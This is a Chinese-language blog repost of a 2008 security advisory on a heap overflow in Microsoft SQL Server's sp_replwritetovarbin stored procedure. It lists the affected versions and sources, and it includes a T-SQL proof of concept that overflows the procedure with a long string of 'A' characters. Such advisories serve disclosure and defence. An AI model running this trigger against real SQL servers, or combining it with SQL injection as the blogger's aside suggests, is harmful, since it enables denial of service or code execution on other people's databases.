首页 > 网络安全 > Microsoft SQL Server sp_replwritetovarbin远程堆溢出漏洞

Microsoft SQL Server sp_replwritetovarbin远程堆溢出漏洞

ps:如果与注入结合起来用的话?大家赶紧像办法预防吧。

发布日期:2008-12-09
更新日期:2008-12-11

受影响系统:

Microsoft SQL Server 2005 SP2
Microsoft SQL Server 2005 SP1
Microsoft SQL Server 2000

描述:


BUGTRAQ ID:

32710

Microsoft SQL Server是一款流行的SQL数据库系统。

 

SQL Server的sp_replwritetovarbin扩展存储过程中存在堆溢出漏洞。如果远程攻击者在参数中提供了未初始化变量的话,就可以触发这个溢出,向可控的位置写入内存,导致以有漏洞SQL Server进程的权限执行任意代码。

 

在默认的配置中,任何用户都可以访问sp_replwritetovarbin过程。通过认证的用户可以通过直接的数据库连接或SQL注入来利用这个漏洞。

 

<*来源:Bernhard Mueller (

research@sec-consult.com

 

 

 

链接:

http://secunia.com/advisories/33034/

 

http://www.sec-consult.com/files/20081209_mssql-2000-sp_replwritetovarbin_memwrite.txt

 

http://marc.info/?l=bugtraq&m=122893402319138&w=2

*>

测试方法:


 

  警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

DECLARE @buf NVARCHAR(4000),

 

@val NVARCHAR(4),

 

@counter INT

 

SET @buf = ‘

 

declare @retcode int,

 

@end_offset int,

 

@vb_buffer varbinary,

 

@vb_bufferlen int,

 

@buf nvarchar;

 

exec master.dbo.sp_replwritetovarbin 1,

 

@end_offset output,

 

@vb_buffer output,

 

@vb_bufferlen output,”’

 

SET @val = CHAR(0x41)

 

SET @counter = 0

 

WHILE @counter < 3000

 

BEGIN

 

SET @counter = @counter + 1

 

SET @buf = @buf + @val

 

END

 

SET @buf = @buf + ”’,”1”,”1”,”1”,

 

”1”,”1”,”1”,”1”,”1”,”1”’

 

EXEC master..sp_executesql @buf

建议:


厂商补丁:

 

Microsoft

 

———

 

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/

 

from:http://www.nsfocus.net/vulndb/12728

 

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/452

  1. 还没有评论
评论已关闭.
Trackbacks & Pingbacks ( 0 )
  1. 还没有 trackbacks